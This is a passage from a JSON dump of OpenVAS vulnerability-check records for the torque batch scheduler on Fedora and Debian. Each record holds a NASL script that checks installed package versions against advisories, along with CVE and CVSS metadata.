script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2015-May/159201.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2015 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC22\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC22\")\n{\n\n if ((res = isrpmvuln(pkg:\"torque\", rpm:\"torque~4.2.10~3.fc22\", rls:\"FC22\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:36:21", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2015-06-09T00:00:00", "type": "openvas", "title": "Fedora Update for torque FEDORA-2015-8577", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-3684", "CVE-2013-4319", "CVE-2013-4495"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310869399", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310869399", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for torque FEDORA-2015-8577\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.869399\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2015-06-09 10:51:16 +0200 (Tue, 09 Jun 2015)\");\n script_cve_id(\"CVE-2013-4319\", \"CVE-2013-4495\", \"CVE-2014-3684\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for torque FEDORA-2015-8577\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'torque'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"torque on Fedora 20\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2015-8577\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2015-May/159259.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2015 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC20\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC20\")\n{\n\n if ((res = isrpmvuln(pkg:\"torque\", rpm:\"torque~4.2.10~3.fc20\", rls:\"FC20\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2017-07-25T10:55:21", "description": "Check for the Version of torque", "cvss3": {}, "published": "2011-07-18T00:00:00", "type": "openvas", "title": "Fedora Update for torque FEDORA-2011-8072", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2011-2193"], "modified": "2017-07-10T00:00:00", "id": "OPENVAS:863359", "href": "http://plugins.openvas.org/nasl.php?oid=863359", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for torque FEDORA-2011-8072\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"TORQUE (Tera-scale Open-source Resource and QUEue manager) is a resource\n manager providing control over batch jobs and distributed compute nodes.\n TORQUE is based on OpenPBS version 2.3.12 and incorporates scalability,\n fault tolerance, and feature extension patches provided by USC, NCSA, OSC,\n the U.S. Dept of Energy, Sandia, PNNL, U of Buffalo, TeraGrid, and many\n other leading edge HPC organizations.\n\n This package holds just a few shared files and directories.\";\ntag_solution = \"Please Install the Updated Packages.\";\n\ntag_affected = \"torque on Fedora 15\";\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"http://lists.fedoraproject.org/pipermail/package-announce/2011-July/062638.html\");\n script_id(863359);\n script_version(\"$Revision: 6626 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-10 08:30:10 +0200 (Mon, 10 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2011-07-18 15:23:56 +0200 (Mon, 18 Jul 2011)\");\n script_tag(name:\"cvss_base\", value:\"8.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:S/C:C/I:C/A:C\");\n script_xref(name: \"FEDORA\", value: \"2011-8072\");\n script_cve_id(\"CVE-2011-2193\");\n script_name(\"Fedora Update for torque FEDORA-2011-8072\");\n\n script_summary(\"Check for the Version of torque\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2011 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"FC15\")\n{\n\n if ((res = isrpmvuln(pkg:\"torque\", rpm:\"torque~3.0.1~4.fc15\", rls:\"FC15\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 8.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-07-25T10:55:50", "description": "Check for the Version of torque", "cvss3": {}, "published": "2011-06-24T00:00:00", "type": "openvas", "title": "Fedora Update for torque FEDORA-2011-8117", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2011-2193"], "modified": "2017-07-10T00:00:00", "id": "OPENVAS:863293", "href": "http://plugins.openvas.org/nasl.php?oid=863293", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for torque FEDORA-2011-8117\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"TORQUE (Tera-scale Open-source Resource and QUEue manager) is a resource\n manager providing control over batch jobs and distributed compute nodes.\n TORQUE is based on OpenPBS version 2.3.12 and incorporates scalability,\n fault tolerance, and feature extension patches provided by USC, NCSA, OSC,\n the U.S. Dept of Energy, Sandia, PNNL, U of Buffalo, TeraGrid, and many\n other leading edge HPC organizations.\n\n This package holds just a few shared files and directories.\";\ntag_solution = \"Please Install the Updated Packages.\";\n\ntag_affected = \"torque on Fedora 14\";\n\n\nif(description)\n{\n script_xref(name : \"URL\" , value : \"http://lists.fedoraproject.org/pipermail/package-announce/2011-June/061645.html\");\n script_id(863293);\n script_version(\"$Revision: 6626 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-10 08:30:10 +0200 (Mon, 10 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2011-06-24 16:46:35 +0200 (Fri, 24 Jun 2011)\");\n script_xref(name: \"FEDORA\", value: \"2011-8117\");\n script_tag(name:\"cvss_base\", value:\"8.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:S/C:C/I:C/A:C\");\n script_cve_id(\"CVE-2011-2193\");\n script_name(\"Fedora Update for torque FEDORA-2011-8117\");\n\n script_summary(\"Check for the Version of torque\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2011 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"FC14\")\n{\n\n if ((res = isrpmvuln(pkg:\"torque\", rpm:\"torque~2.4.11~2.fc14\", rls:\"FC14\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 8.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-07-24T12:51:06", "description": "The remote host is missing an update to torque\nannounced via advisory DSA 2329-1.", "cvss3": {}, "published": "2012-02-11T00:00:00", "type": "openvas", "title": "Debian Security Advisory DSA 2329-1 (torque)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2011-2193"], "modified": "2017-07-07T00:00:00", "id": "OPENVAS:70544", "href": "http://plugins.openvas.org/nasl.php?oid=70544", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2329_1.nasl 6612 2017-07-07 12:08:03Z cfischer $\n# Description: Auto-generated from advisory DSA 2329-1 (torque)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"Bartlomiej Balcerek discovered several buffer overflows in torque server,\na PBS-derived batch processing server. This allows an attacker to crash the\nservice or execute arbitrary code with privileges of the server via crafted\njob or host names.\n\nThe oldstable distribution (lenny) does not contain torque.\n\nFor the stable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze1.\n\nFor the testing distribution (wheezy), this problem has been fixed in\nversion 2.4.15+dfsg-1.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.15+dfsg-1.\n\nWe recommend that you upgrade your torque packages.\";\ntag_summary = \"The remote host is missing an update to torque\nannounced via advisory DSA 2329-1.\";\n\ntag_solution = \"https://secure1.securityspace.com/smysecure/catid.html?in=DSA%202329-1\";\n\nif(description)\n{\n script_id(70544);\n script_tag(name:\"cvss_base\", value:\"8.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:S/C:C/I:C/A:C\");\n script_cve_id(\"CVE-2011-2193\");\n script_version(\"$Revision: 6612 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-07 14:08:03 +0200 (Fri, 07 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2012-02-11 02:26:55 -0500 (Sat, 11 Feb 2012)\");\n script_name(\"Debian Security Advisory DSA 2329-1 (torque)\");\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\");\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-deb.inc\");\nres = \"\";\nreport = \"\";\nif((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 8.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-05-29T18:39:38", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2011-07-18T00:00:00", "type": "openvas", "title": "Fedora Update for torque FEDORA-2011-8072", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2011-2193"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310863359", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310863359", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for torque FEDORA-2011-8072\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_xref(name:\"URL\", value:\"http://lists.fedoraproject.org/pipermail/package-announce/2011-July/062638.html\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.863359\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2011-07-18 15:23:56 +0200 (Mon, 18 Jul 2011)\");\n script_tag(name:\"cvss_base\", value:\"8.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:S/C:C/I:C/A:C\");\n script_xref(name:\"FEDORA\", value:\"2011-8072\");\n script_cve_id(\"CVE-2011-2193\");\n script_name(\"Fedora Update for torque FEDORA-2011-8072\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'torque'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2011 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC15\");\n script_tag(name:\"affected\", value:\"torque on Fedora 15\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC15\")\n{\n\n if ((res = isrpmvuln(pkg:\"torque\", rpm:\"torque~3.0.1~4.fc15\", rls:\"FC15\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:39:36", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2011-06-24T00:00:00", "type": "openvas", "title": "Fedora Update for torque FEDORA-2011-8117", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2011-2193"], "modified": "2019-03-15T00:00:00", "id": "OPENVAS:1361412562310863293", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310863293", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for torque FEDORA-2011-8117\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_xref(name:\"URL\", value:\"http://lists.fedoraproject.org/pipermail/package-announce/2011-June/061645.html\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.863293\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2011-06-24 16:46:35 +0200 (Fri, 24 Jun 2011)\");\n script_xref(name:\"FEDORA\", value:\"2011-8117\");\n script_tag(name:\"cvss_base\", value:\"8.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:S/C:C/I:C/A:C\");\n script_cve_id(\"CVE-2011-2193\");\n script_name(\"Fedora Update for torque FEDORA-2011-8117\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'torque'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2011 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC14\");\n script_tag(name:\"affected\", value:\"torque on Fedora 14\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC14\")\n{\n\n if ((res = isrpmvuln(pkg:\"torque\", rpm:\"torque~2.4.11~2.fc14\", rls:\"FC14\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:39:07", "description": "The remote host is missing an update to torque\nannounced via advisory DSA 2329-1.", "cvss3": {}, "published": "2012-02-11T00:00:00", "type": "openvas", "title": "Debian Security Advisory DSA 2329-1 (torque)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2011-2193"], "modified": "2019-03-18T00:00:00", "id": "OPENVAS:136141256231070544", "href": "http://plugins.openvas.org/nasl.php?oid=136141256231070544", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2329_1.nasl 14275 2019-03-18 14:39:45Z cfischer $\n# Description: Auto-generated from advisory DSA 2329-1 (torque)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.70544\");\n script_tag(name:\"cvss_base\", value:\"8.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:S/C:C/I:C/A:C\");\n script_cve_id(\"CVE-2011-2193\");\n script_version(\"$Revision: 14275 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-18 15:39:45 +0100 (Mon, 18 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2012-02-11 02:26:55 -0500 (Sat, 11 Feb 2012)\");\n script_name(\"Debian Security Advisory DSA 2329-1 (torque)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2012 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB(6|7)\");\n script_xref(name:\"URL\", value:\"https://secure1.securityspace.com/smysecure/catid.html?in=DSA%202329-1\");\n script_tag(name:\"insight\", value:\"Bartlomiej Balcerek discovered several buffer overflows in torque server,\na PBS-derived batch processing server. This allows an attacker to crash the\nservice or execute arbitrary code with privileges of the server via crafted\njob or host names.\n\nThe oldstable distribution (lenny) does not contain torque.\n\nFor the stable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze1.\n\nFor the testing distribution (wheezy), this problem has been fixed in\nversion 2.4.15+dfsg-1.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.15+dfsg-1.\");\n\n script_tag(name:\"solution\", value:\"We recommend that you upgrade your torque packages.\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update to torque\nannounced via advisory DSA 2329-1.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.8+dfsg-9squeeze1\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client\", 